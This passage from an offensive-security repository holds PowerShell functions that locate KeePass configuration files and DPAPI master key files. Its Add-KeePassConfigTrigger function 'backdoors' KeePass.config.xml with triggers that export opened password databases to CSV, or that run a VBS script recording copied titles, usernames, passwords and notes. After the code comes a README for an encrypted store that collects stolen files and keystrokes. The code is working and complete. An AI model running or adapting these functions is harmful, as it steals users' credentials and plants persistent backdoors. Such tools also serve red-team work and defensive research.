190 | $LastUsedFile = Resolve-Path -Path "$KeePassXMLPathParent\$($KeePassXML.Configuration.Application.LastUsedFile.Path)" -ErrorAction SilentlyContinue
191 | }
192 |
193 | if($KeePassXML.Configuration.Application.MostRecentlyUsed.Items) {
194 | $KeePassXML.Configuration.Application.MostRecentlyUsed.Items | Foreach-Object {
195 | Resolve-Path -Path "$KeePassXMLPathParent\$($_.ConnectionInfo.Path)" -ErrorAction SilentlyContinue | Foreach-Object {
196 | $RecentlyUsed += $_
197 | }
198 | }
199 | }
200 |
201 | if($KeePassXML.Configuration.Defaults.KeySources.Association.DatabasePath) {
202 | $DefaultDatabasePath = Resolve-Path -Path "$KeePassXMLPathParent\$($KeePassXML.Configuration.Defaults.KeySources.Association.DatabasePath)" -ErrorAction SilentlyContinue
203 | }
204 |
205 | if($KeePassXML.Configuration.Defaults.KeySources.Association.KeyFilePath) {
206 | $DefaultKeyFilePath = Resolve-Path -Path "$KeePassXMLPathParent\$($KeePassXML.Configuration.Defaults.KeySources.Association.KeyFilePath)" -ErrorAction SilentlyContinue
207 | }
208 |
209 | $DefaultUserAccount = $KeePassXML.Configuration.Defaults.KeySources.Association.UserAccount -eq 'true'
210 |
211 | $SecureDesktop = $KeePassXML.Configuration.Security.MasterKeyOnSecureDesktop -eq 'true'
212 |
213 | if($DefaultUserAccount) {
214 |
215 | $UserPath = $Path.Split('\')[0..2] -join '\'
216 |
217 | $UserMasterKeyFolder = Get-ChildItem -Path "$UserPath\AppData\Roaming\Microsoft\Protect\" -ErrorAction SilentlyContinue | Select-Object -First 1 -ExpandProperty FullName
218 |
219 | if($UserMasterKeyFolder) {
220 |
221 | $UserSid = $UserMasterKeyFolder | Split-Path -Leaf
222 |
223 | try {
224 | $UserSidObject = (New-Object System.Security.Principal.SecurityIdentifier($UserSid))
225 | $UserNameDomain = $UserSidObject.Translate([System.Security.Principal.NTAccount]).Value
226 |
227 | $UserDomain, $UserName = $UserNameDomain.Split('\')
228 | }
229 | catch {
230 | Write-Warning "Unable to translate SID from $UserMasterKeyFolder , defaulting to user name"
231 | $UserName = $UserPath.Split('\')[-1]
232 | $UserDomain = $Null
233 | }
234 |
235 | $UserMasterKeyFiles = @(, $(Get-ChildItem -Path $UserMasterKeyFolder -Force | Select-Object -ExpandProperty FullName) )
236 | }
237 | else {
238 | $UserSid = $Null
239 | $UserName = $Null
240 | $UserDomain = $Null
241 | }
242 |
243 | $UserKeePassDPAPIBlob = Get-Item -Path "$UserPath\AppData\Roaming\KeePass\ProtectedUserKey.bin" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty FullName
244 |
245 | $UserMasterKeyProperties = @{
246 | 'UserSid' = $UserSid
247 | 'UserName' = $UserName
248 | 'UserDomain' = $UserDomain
249 | 'UserKeePassDPAPIBlob' = $UserKeePassDPAPIBlob
250 | 'UserMasterKeyFiles' = $UserMasterKeyFiles
251 | }
252 | $DefaultUserAccountData = New-Object -TypeName PSObject -Property $UserMasterKeyProperties
253 | }
254 |
255 | $KeePassXmlProperties = @{
256 | 'KeePassConfigPath' = $KeePassXMLPath
257 | 'SecureDesktop' = $SecureDesktop
258 | 'LastUsedFile' = $LastUsedFile
259 | 'RecentlyUsed' = $RecentlyUsed
260 | 'DefaultDatabasePath' = $DefaultDatabasePath
261 | 'DefaultKeyFilePath' = $DefaultKeyFilePath
262 | 'DefaultUserAccountData' = $DefaultUserAccountData
263 | }
264 | $KeePassXmlInfo = New-Object -TypeName PSObject -Property $KeePassXmlProperties
265 | $KeePassXmlInfo.PSObject.TypeNames.Insert(0, 'KeePass.Config')
266 | $KeePassXmlInfo
267 | }
268 | }
269 |
270 | PROCESS {
271 | if($PSBoundParameters['Path']) {
272 | $XmlFilePaths = $Path
273 | }
274 | else {
275 | # possible locations for KeePass configs
276 | $XmlFilePaths = @("$($Env:WinDir | Split-Path -Qualifier)\Users\")
277 | $XmlFilePaths += "${env:ProgramFiles(x86)}\"
278 | $XmlFilePaths += "${env:ProgramFiles}\"
279 | }
280 |
281 | $XmlFilePaths | Foreach-Object { Get-ChildItem -Path $_ -Recurse -Include @('KeePass.config.xml', 'KeePass.ini') -ErrorAction SilentlyContinue } | Where-Object { $_ } | Foreach-Object {
282 | Write-Verbose "Parsing KeePass config file '$($_.Fullname)'"
283 |
284 | if($_.Extension -eq '.xml') {
285 | Get-KeePassXMLFields -Path $_.Fullname
286 | }
287 | else {
288 | Get-KeePassINIFields -Path $_.Fullname
289 | }
290 | }
291 | }
292 | }
293 |
294 |
295 | function Get-KeePassConfigTrigger {
296 | <#
297 | .SYNOPSIS
298 |
299 | Extracts out the trigger specifications from a KeePass 2.X configuration XML file.
300 |
301 | Author: @harmj0y
302 | License: BSD 3-Clause
303 | Required Dependencies: None
304 | Optional Dependencies: None
305 |
306 | .DESCRIPTION
307 |
308 | This function takes a the path to a KeePass.config.xml file or the input from Find-KeePassConfig,
309 | reads the configuration XML, replaces event/action GUIDs with their readable names, and outputs
310 | each trigger as a custom PSObject.
311 |
312 | .PARAMETER Path
313 |
314 | Required path to a KeePass.config.xml file or an object result from Find-KeePassConfig.
315 |
316 | .EXAMPLE
317 |
318 | PS C:\> $Triggers = Find-KeePassconfig | Get-KeePassConfigTrigger
319 | PS C:\> $Triggers
320 |
321 |
322 | KeePassXMLPath : C:\Users\harmj0y.TESTLAB\Desktop\keepass\KeePass-2.34\KeePass.config.xml
323 | Guid : pagwKjmh8U6WbcplUbQnKg==
324 | Name : blah
325 | Enabled : false
326 | InitiallyOn : false
327 | Events : Events
328 | Conditions :
329 | Actions : Actions
330 |
331 |
332 |
333 | PS C:\> $Triggers.Events.Event
334 |
335 | Name Parameters
336 | ---- ----------
337 | Opened database file Parameters
338 |
339 |
340 | PS C:\> $Triggers.Actions.Action
341 |
342 | Name Parameters
343 | ---- ----------
344 | Export active database Parameters
345 | #>
346 | [CmdletBinding()]
347 | param(
348 | [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True)]
349 | [Object[]]
350 | $Path
351 | )
352 | BEGIN {
353 | $EventGUIDs = @{
354 | '1M7NtUuYT/KmqeJVJh7I6A==' = 'Application initialized'
355 | '2PMe6cxpSBuJxfzi6ktqlw==' = 'Application started and ready'
356 | 'goq3q7EcTr+AOTY/kXGXeA==' = 'Application exit'
357 | '5f8TBoW4QYm5BvaeKztApw==' = 'Opened database file'
358 | 'lcGm/XJ8QMei+VsPoJljHA==' = 'Saving database file'
359 | 's6j9/ngTSmqcXdW6hDqbjg==' = 'Saved database file'
360 | 'jOremqgXSRmjL/QeOx3sSQ==' = 'Closing database file (before saving)'
361 | 'lPpw5bE/QSamTgZP2MNslQ==' = 'Closing database file (after saving)'
362 | 'P35exipUTFiVRIX78m9W3A==' = 'Copied entry data to clipboard'
363 | 'jRLUmvLLT/eo78/arGJomQ==' = 'User interface state updated'
364 | 'R0dZkpenQ6K5aB8fwvebkg==' = 'Custom toolbar button clicked'
365 | }
366 |
367 | $ActionGUIDs = @{
368 | '2uX4OwcwTBOe7y66y27kxw==' = 'Execute command line / URL'
369 | 'tkamn96US7mbrjykfswQ6g==' = 'Change trigger on/off state'
370 | '/UFV1XmPRPqrifL4cO+UuA==' = 'Open database file'
371 | '9VdhS/hMQV2pE3o5zRDwvQ==' = 'Save active database'
372 | 'Iq135Bd4Tu2ZtFcdArOtTQ==' = 'Synchronize active database with a file/URL'
373 | 'gOZ/TnLxQEWRdh8sI9jsvg==' = 'Import into active database'
374 | 'D5prW87VRr65NO2xP5RIIg==' = 'Export active database'
375 | 'W79FnVS/Sb2X+yzuX5kKZw==' = 'Close active database'
376 | 'P7gzLdYWToeZBWTbFkzWJg==' = 'Activate database (select tab)'
377 | 'Oz0+MeSzQqa6zNXAO6ypaQ==' = 'Wait'
378 | 'CfePcyTsT+yItiXVMPQ0bg==' = 'Show message box'
379 | 'QGmlNlcbR5Kps3NlMODPww==' = 'Perform global auto-type'
380 | 'MXCPrWSTQ/WU7sgaI24yTQ==' = 'Perform auto-type with selected entry'
381 | 'Qug3gXPTTuyBSJ47NqyDhA==' = 'Show entries by tag'
382 | 'lYGPRZlmSYirPoboGpZoNg==' = 'Add custom toolbar button'
383 | '1m1BomyyRLqkSApB+glIeQ==' = 'Remove custom toolbar button'
384 | }
385 | }
386 | PROCESS {
387 |
388 | ForEach($Object in $Path) {
389 | if($Object -is [String]) {
390 | $KeePassXMLPath = $Object
391 | }
392 | elseif ($Object.PSObject.Properties['KeePassConfigPath']) {
393 | $KeePassXMLPath = [String]$Object.KeePassConfigPath
394 | }
395 | elseif ($Object.PSObject.Properties['Path']) {
396 | $KeePassXMLPath = [String]$Object.Path
397 | }
398 | elseif ($Object.PSObject.Properties['FullName']) {
399 | $KeePassXMLPath = [String]$Object.FullName
400 | }
401 | else {
402 | $KeePassXMLPath = [String]$Object
403 | }
404 |
405 | if($KeePassXMLPath -and ($KeePassXMLPath -match '.\.xml$') -and (Test-Path -Path $KeePassXMLPath) ) {
406 | $KeePassXMLPath = Resolve-Path -Path $KeePassXMLPath
407 |
408 | $KeePassXML = ([xml](Get-Content -Path $KeePassXMLPath)).InnerXml
409 |
410 | $EventGUIDs.Keys | Foreach-Object {
411 | $KeePassXML = $KeePassXML.Replace($_, $EventGUIDs[$_])
412 | }
413 |
414 | $ActionGUIDs.Keys | Foreach-Object {
415 | $KeePassXML = $KeePassXML.Replace($_, $ActionGUIDs[$_])
416 | }
417 | $KeePassXML = $KeePassXML.Replace('TypeGuid', 'Name')
418 | $KeePassXML = [xml]$KeePassXML
419 |
420 | $Triggers = $KeePassXML.SelectNodes('Configuration/Application/TriggerSystem/Triggers')
421 |
422 | $Triggers | Select-Object -Expand Trigger -ErrorAction SilentlyContinue | ForEach-Object {
423 | $_.PSObject.TypeNames.Insert(0, 'KeePass.Trigger')
424 | $_ | Add-Member Noteproperty 'KeePassConfigPath' $KeePassXMLPath.Path
425 | $_
426 | }
427 | }
428 | }
429 | }
430 | }
431 |
432 |
433 | function Add-KeePassConfigTrigger {
434 | <#
435 | .SYNOPSIS
436 |
437 | Adds a KeePass exfiltration trigger to a KeePass.config.xml path or result from Find-KeePassConfig.
438 |
439 | Author: @harmj0y
440 | License: BSD 3-Clause
441 | Required Dependencies: None
442 | Optional Dependencies: None
443 |
444 | .DESCRIPTION
445 |
446 | Inserts a custom KeePass.config.xml trigger into a KeePass file location. The trigger -Action can either
447 | export a database to $ExportPath whenever a database is open ('ExportDatabase') or write an data copied on the
448 | clipboard from KeePass to $ExportPath ('ExfilDataCopied').
449 |
450 | .PARAMETER Path
451 |
452 | Required path to a KeePass.config.xml file or an object result from Find-KeePassConfig.
453 |
454 | .PARAMETER Action
455 |
456 | Either 'ExportDatabase' (export opened databases to $ExportPath) or 'ExfilDataCopied' (export
457 | copied data to $ExportPath).
458 |
459 | .PARAMETER ExportPath
460 |
461 | The path to export data and/or the $TriggerName.vbs to.
462 |
463 | .PARAMETER TriggerName
464 |
465 | The name for the trigger, default to 'Debug'.
466 |
467 | .EXAMPLE
468 |
469 | PS C:\> 'C:\Users\harmj0y.TESTLAB\Desktop\keepass\KeePass-2.34\KeePass.config.xml' | Find-KeePassconfig | Add-KeePassConfigTrigger -Verbose
470 | VERBOSE: KeePass XML set to export database to C:\Users\harmj0y.TESTLAB\AppData\Roaming\KeePass
471 | VERBOSE: C:\Users\harmj0y.TESTLAB\Desktop\keepass\KeePass-2.34\KeePass.config.xml backdoored
472 | PS C:\> Find-KeePassconfig C:\Users\ | Get-KeePassConfigTrigger
473 |
474 |
475 | KeePassConfigPath : C:\Users\harmj0y.TESTLAB\Desktop\keepass\KeePass-2.34\KeePass.config.xml
476 | Guid : PtbQvEQp00KFSqVteVdBew==
477 | Name : Debug
478 | Events : Events
479 | Conditions :
480 | Actions : Actions
481 | #>
482 | [CmdletBinding()]
483 | param(
484 | [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True)]
485 | [ValidateNotNullOrEmpty()]
486 | [Object[]]
487 | $Path,
488 |
489 | [Parameter(Position = 1)]
490 | [ValidateSet('ExportDatabase', 'ExfilDataCopied')]
491 | [String]
492 | $Action = 'ExportDatabase',
493 |
494 | [Parameter(Position = 3)]
495 | [ValidateScript({Test-Path -Path $_ })]
496 | [String]
497 | $ExportPath = "${Env:APPDATA}\KeePass",
498 |
499 | [Parameter(Position = 4)]
500 | [ValidateNotNullOrEmpty()]
501 | [String]
502 | $TriggerName = 'Debug'
503 | )
504 | BEGIN {
505 |
506 | $ExportPathFolder = Resolve-Path -Path $ExportPath -ErrorAction Stop
507 | if ((Get-Item -Path $ExportPathFolder) -isnot [System.IO.DirectoryInfo]) {
508 | throw 'ExportPath must be a directory!'
509 | }
510 |
511 | if($Action -eq 'ExportDatabase') {
512 | # 'Opened database file'
513 | $EventTriggerGUID = '5f8TBoW4QYm5BvaeKztApw=='
514 |
515 | # 'Export active database'
516 | $ActionGUID = 'D5prW87VRr65NO2xP5RIIg=='
517 |
518 | $TriggerXML = [xml] @"
519 |
520 | $([Convert]::ToBase64String([System.GUID]::NewGuid().ToByteArray()))
521 | $TriggerName
522 |
523 |
524 | $EventTriggerGUID
525 |
526 | 0
527 |
528 |
529 |
530 |
531 |
532 |
533 |
534 | $ActionGUID
535 |
536 | $($ExportPath)\{DB_BASENAME}.csv
537 | KeePass CSV (1.x)
538 |
539 |
540 |
541 |
542 |
543 |
544 | "@
545 |
546 | Write-Verbose "KeePass XML set to export database to $ExportPath"
547 | }
548 | else {
549 | # 'ExfilDataCopied'
550 |
551 | # 'Copied entry data to clipboard'
552 | $EventTriggerGUID = 'P35exipUTFiVRIX78m9W3A=='
553 |
554 | # 'Execute command line / URL'
555 | $ActionGUID = '2uX4OwcwTBOe7y66y27kxw=='
556 |
557 | $ExfilVBSLocation = "$ExportPath\$($TriggerName).vbs"
558 |
559 | #write out VBS to location above
560 | $ExfilVBS = @"
561 | Set objArgs = Wscript.Arguments
562 | Dim oFS : Set oFS = CreateObject("Scripting.FileSystemObject")
563 | Dim objFile : Set objFile = oFS.OpenTextFile("$ExportPath\$($TriggerName).txt", 8, True)
564 | For Each strArg in objArgs
565 | objFile.Write strArg & ","
566 | Next
567 | objFile.Write vbCrLf
568 | objFile.Close
569 | "@
570 |
571 | $ExfilVBS | Out-File -Encoding ASCII -FilePath $ExfilVBSLocation
572 | Write-Verbose "Exfil VBS output to $ExfilVBSLocation set to export data to $ExportPath\$($TriggerName).txt"
573 |
574 | $TriggerXML = [xml] @"
575 |
576 | $([Convert]::ToBase64String([System.GUID]::NewGuid().ToByteArray()))
577 | $TriggerName
578 |
579 |
580 | $EventTriggerGUID
581 |
582 | 0
583 |
584 |
585 |
586 |
587 |
588 |
589 |
590 | $ActionGUID
591 |
592 | %WINDIR%\System32\wscript.exe
593 | $ExfilVBSLocation "{TITLE}" "{URL}" "{USERNAME}" "{PASSWORD}" "{NOTES}"
594 | False
595 |
596 |
597 |
598 |
599 | "@
600 |
601 | Write-Verbose "KeePass XML set to trigger $ExfilVBSLocation"
602 | }
603 | }
604 |
605 | PROCESS {
606 |
607 | ForEach($Object in $Path) {
608 | if($Object -is [String]) {
609 | $KeePassXMLPath = $Object
610 | }
611 | elseif ($Object.PSObject.Properties['KeePassConfigPath']) {
612 | $KeePassXMLPath = [String]$Object.KeePassConfigPath
613 | }
614 | elseif ($Object.PSObject.Properties['Path']) {
615 | $KeePassXMLPath = [String]$Object.Path
616 | }
617 | elseif ($Object.PSObject.Properties['FullName']) {
618 | $KeePassXMLPath = [String]$Object.FullName
619 | }
620 | else {
621 | $KeePassXMLPath = [String]$Object
622 | }
623 |
624 | if($KeePassXMLPath -and ($KeePassXMLPath -match '.\.xml$') -and (Test-Path -Path $KeePassXMLPath) ) {
625 | $KeePassXMLPath = Resolve-Path -Path $KeePassXMLPath
626 |
627 | $KeePassXML = [xml](Get-Content -Path $KeePassXMLPath)
628 |
629 | $RandomGUID = [System.GUID]::NewGuid().ToByteArray()
630 |
631 | if ($KeePassXML.Configuration.Application.TriggerSystem.Triggers -is [String]) {
632 | $Triggers = $KeePassXML.CreateElement('Triggers')
633 | $Null = $Triggers.AppendChild($KeePassXML.ImportNode($TriggerXML.Trigger, $True))
634 | $Null = $KeePassXML.Configuration.Application.TriggerSystem.ReplaceChild($Triggers, $KeePassXML.Configuration.Application.TriggerSystem.SelectSingleNode('Triggers'))
635 | }
636 | else {
637 | $Null = $KeePassXML.Configuration.Application.TriggerSystem.Triggers.AppendChild($KeePassXML.ImportNode($TriggerXML.Trigger, $True))
638 | }
639 |
640 | $KeePassXML.Save($KeePassXMLPath)
641 |
642 | Write-Verbose "$KeePassXMLPath backdoored"
643 | }
644 | }
645 | }
646 | }
647 |
648 |
649 | function Remove-KeePassConfigTrigger {
650 | <#
651 | .SYNOPSIS
652 |
653 | Removes a KeePass exfiltration trigger to a KeePass.config.xml path or result from Find-KeePassConfig.
654 |
655 | Author: @harmj0y
656 | License: BSD 3-Clause
657 | Required Dependencies: None
658 | Optional Dependencies: None
659 |
660 | .DESCRIPTION
661 |
662 | Removes any custom a custom KeePass.config.xml trigger into a KeePass file location. The trigger -Action can either
663 | export a database to $ExportPath whenever a database is open ('ExportDatabase') or write an data copied on the
664 | clipboard from KeePass to $ExportPath ('ExfilDataCopied').
665 |
666 | .PARAMETER Path
667 |
668 | Required path to a KeePass.config.xml file or an object result from Find-KeePassConfig.
669 |
670 | .PARAMETER Action
671 |
672 | Either 'ExportDatabase' (export opened databases to $ExportPath) or 'ExfilDataCopied' (export
673 | copied data to $ExportPath).
674 |
675 | .PARAMETER ExportPath
676 |
677 | The path to export data and/or the $TriggerName.vbs to.
678 |
679 | .PARAMETER TriggerName
680 |
681 | The name for the trigger, default to 'Debug'.
682 |
683 | .EXAMPLE
684 |
685 | PS C:\> Find-KeePassconfig C:\users\ | Remove-KeePassConfigTrigger
686 |
687 |
688 | Guid : wEIpZ61vk0yV5uENe5z0oA==
689 | Name : Debug
690 | Events : Events
691 | Conditions :
692 | Actions : Actions
693 |
694 |
695 |
696 | PS C:\> Find-KeePassconfig C:\users\ | Get-KeePassConfigTrigger
697 | PS C:\>
698 | #>
699 | [CmdletBinding()]
700 | param(
701 | [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True)]
702 | [ValidateNotNullOrEmpty()]
703 | [Object[]]
704 | $Path,
705 |
706 | [Parameter(Position = 1)]
707 | [ValidateNotNullOrEmpty()]
708 | [String]
709 | $TriggerName = '*'
710 | )
711 |
712 | PROCESS {
713 |
714 | ForEach($Object in $Path) {
715 |
716 | if($Object -is [String]) {
717 | $KeePassXMLPath = $Object
718 | }
719 | elseif ($Object.PSObject.Properties['KeePassConfigPath']) {
720 | $KeePassXMLPath = [String]$Object.KeePassConfigPath
721 | }
722 | elseif ($Object.PSObject.Properties['Path']) {
723 | $KeePassXMLPath = [String]$Object.Path
724 | }
725 | elseif ($Object.PSObject.Properties['FullName']) {
726 | $KeePassXMLPath = [String]$Object.FullName
727 | }
728 | else {
729 | $KeePassXMLPath = [String]$Object
730 | }
731 |
732 | Write-Verbose "KeePassXMLPath: $KeePassXMLPath"
733 |
734 | if($KeePassXMLPath -and ($KeePassXMLPath -match '.\.xml$') -and (Test-Path -Path $KeePassXMLPath) ) {
735 | $KeePassXMLPath = Resolve-Path -Path $KeePassXMLPath
736 |
737 | $KeePassXML = [xml](Get-Content -Path $KeePassXMLPath)
738 |
739 | $RandomGUID = [System.GUID]::NewGuid().ToByteArray()
740 |
741 | if ($KeePassXML.Configuration.Application.TriggerSystem.Triggers -isnot [String]) {
742 |
743 | $Children = $KeePassXML.Configuration.Application.TriggerSystem.Triggers | ForEach-Object {$_.Trigger} | Where-Object {$_.Name -like $TriggerName}
744 | Write-Verbose "Removing triggers matching name $TriggerName"
745 | ForEach($Child in $Children) {
746 | $KeePassXML.Configuration.Application.TriggerSystem.Triggers.RemoveChild($Child)
747 | }
748 | }
749 | try {
750 | $KeePassXML.Save($KeePassXMLPath)
751 | Write-Verbose "$KeePassXMLPath triggers removed"
752 | }
753 | catch {
754 | Write-Warning "Error setting path $KeePassXMLPath : $_"
755 | }
756 |
757 | }
758 | }
759 | }
760 | }
761 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | ## EncryptedStore
2 |
3 | Functions focued on storing data in single encrypted file for long term collection.
4 |
5 | The store is 'packetized', with discrete units of the format below appended to a single file,
6 | preventing the need to decrypt the store every time additional data is added.
7 |
8 | The 'packet' structure for each file is (currently) as follows:
9 |
10 | [4 bytes representing size of next block to decrypt]
11 | [0] (indicating straight AES)
12 | [16 byte IV]
13 | [AES-CBC encrypted file block]
14 | [compressed stream]
15 | [260 characters/bytes indicating original path]
16 | [file contents]
17 | ...
18 |
19 | [4 bytes representing size of next block to decrypt]
20 | [1] (indicating straight RSA+AES)
21 | [128 bytes random AES key encrypted with the the RSA public key]
22 | [16 byte IV]
23 | [AES-CBC encrypted file block]
24 | [compressed stream]
25 | [260 characters/bytes indicating original path]
26 | [file contents]
27 | ...
28 |
29 | To encrypt a file for ENCSTORE.bin:
30 |
31 | * Read raw file contents
32 | * Pad original full file PATH to 260 Bytes
33 | * Compress [PATH + file] using IO.Compression.DeflateStream
34 | * If using RSA+AES, generate a random AES key and encrypt using the RSA public key
35 | * Generate random 16 Byte IV
36 | * Encrypt compressed stream with AES-CBC using the predefined key and generated IV
37 | * Calculate length of encrypted block + IV
38 | * append 4 Byte representation of length to ENCSTORE.bin
39 | * append 0 byte if straight AES used, 1 if RSA+AES used
40 | * optionally append 128 bytes of RSA encrypted random AES key if RSA+AES scheme used
41 | * append IV to ENCSTORE.bin
42 | * append encrypted file to ENCSTORE.bin
43 |
44 | To decrypt ENCSTORE.bin, while there is more data to decrypt:
45 |
46 | * Read first 4 Bytes of ENCSTORE.bin and calculate length value X
47 | * Read next size X Bytes of encrypted file
48 | * Read first byte of encrypted block to determine encryption scheme
49 | * 0 == straight AES
50 | * 1 == RSA + AES where random AES key encrypted with RSA pub key
51 | * If RSA+AES is used, read the next 128 bytes of the RSA encrypted AES key and decrypt using the RSA private key
52 | * Read next 16 Bytes of encrypted block and extract IV
53 | * Read remaining block and decrypt AES-CBC compressed stream using predefined key and extracted IV
54 | * Decompress [PATH + file] using IO.Compression.DeflateStream
55 | * Split path by \ and create nested folder structure to mirror original path
56 | * Write original file to mirrored path
57 |
58 |
59 | ### EncryptedStore.ps1
60 |
61 | The PowerShell implementation of EncryptedStore.
62 |
63 |
64 | #### Write-EncryptedStore
65 |
66 | Compresses and encrypts the data passed by $Data with the supplied AES/RSA $Key and write
67 | the data to the specified encrypted $StorePath. -StorePath can be on the filesystem
68 | ("${Env:Temp}\debug.bin"), registry (HKLM:\SOFTWARE\something\something\key\valuename),
69 | or WMI (ROOT\Software\namespace:ClassName). RSA keys can be generated with New-RSAKeyPair.
70 |
71 | If the passed data is a filename, the file is encrypted along with the original path.
72 | Otherwse, the passed data itself is encrypted along with a timestamp to be used as the
73 | extracted file format. If you to tag non-file data, use -DataTag.
74 |
75 | Ex:
76 |
77 | PS C:\> Write-EncryptedStore -FilePath C:\Folder\secret.txt,C:\Folder\secret2.txt -StorePath C:\Temp\debug.bin -Key 'Password123!'
78 |
79 | PS C:\> 'secret.txt','secret2.txt' | Write-EncryptedStore -StorePath C:\Temp\debug.bin -Key 'Password123!'
80 |
81 | PS C:\> "keystrokes" | Write-EncryptedStore -StorePath C:\Temp\debug.bin -Key 'Password123!' -DataTag 'keylog'
82 |
83 |
84 | #### Read-EncryptedStore
85 |
86 | Takes a given encrypted store specified by $StorePath and extracts,
87 | decrypts, and decompresses all files/data contained within it. Extracted
88 | files are written out to a created nested folder structure mirroring
89 | the file's original path. -List will list the files without extracting them.
90 |
91 | Ex:
92 |
93 | PS C:\> Read-EncryptedStore -StorePath C:\Temp\debug.bin -Key 'Password123!'
94 | File data written to C:\Temp\C\Temp\secret.txt
95 | File data written to C:\Temp\C\Temp\secret2.txt
96 |
97 |
98 | ### EncryptedStore.py
99 |
100 | The Python implementation of EncryptedStore.
101 |
102 | Note: RSA containers are not currently supported.
103 |
104 |
105 | To list the files in a store:
106 |
107 | # ./EncryptedStore.py --store store.bin --key 'Password123!' --list
108 |
109 | Files:
110 |
111 | C:\Temp\secret.txt : 1684 bytes
112 | C:\Temp\secret2.txt : 60173 bytes
113 |
114 |
115 | To extract files from a store to a mirrored directory structure in the current directory:
116 |
117 | # /tmp/EncryptedStore.py --store store.bin --key 'Password123!'
118 |
119 | Extracted 1684 bytes of 'C:/Temp/secret.txt' to '/tmp/C:/Temp/secret.txt'
120 | Extracted 60173 bytes of 'C:/Temp/secret2.txt' to '/tmp/C:/Temp/secret2.txt'
121 |
--------------------------------------------------------------------------------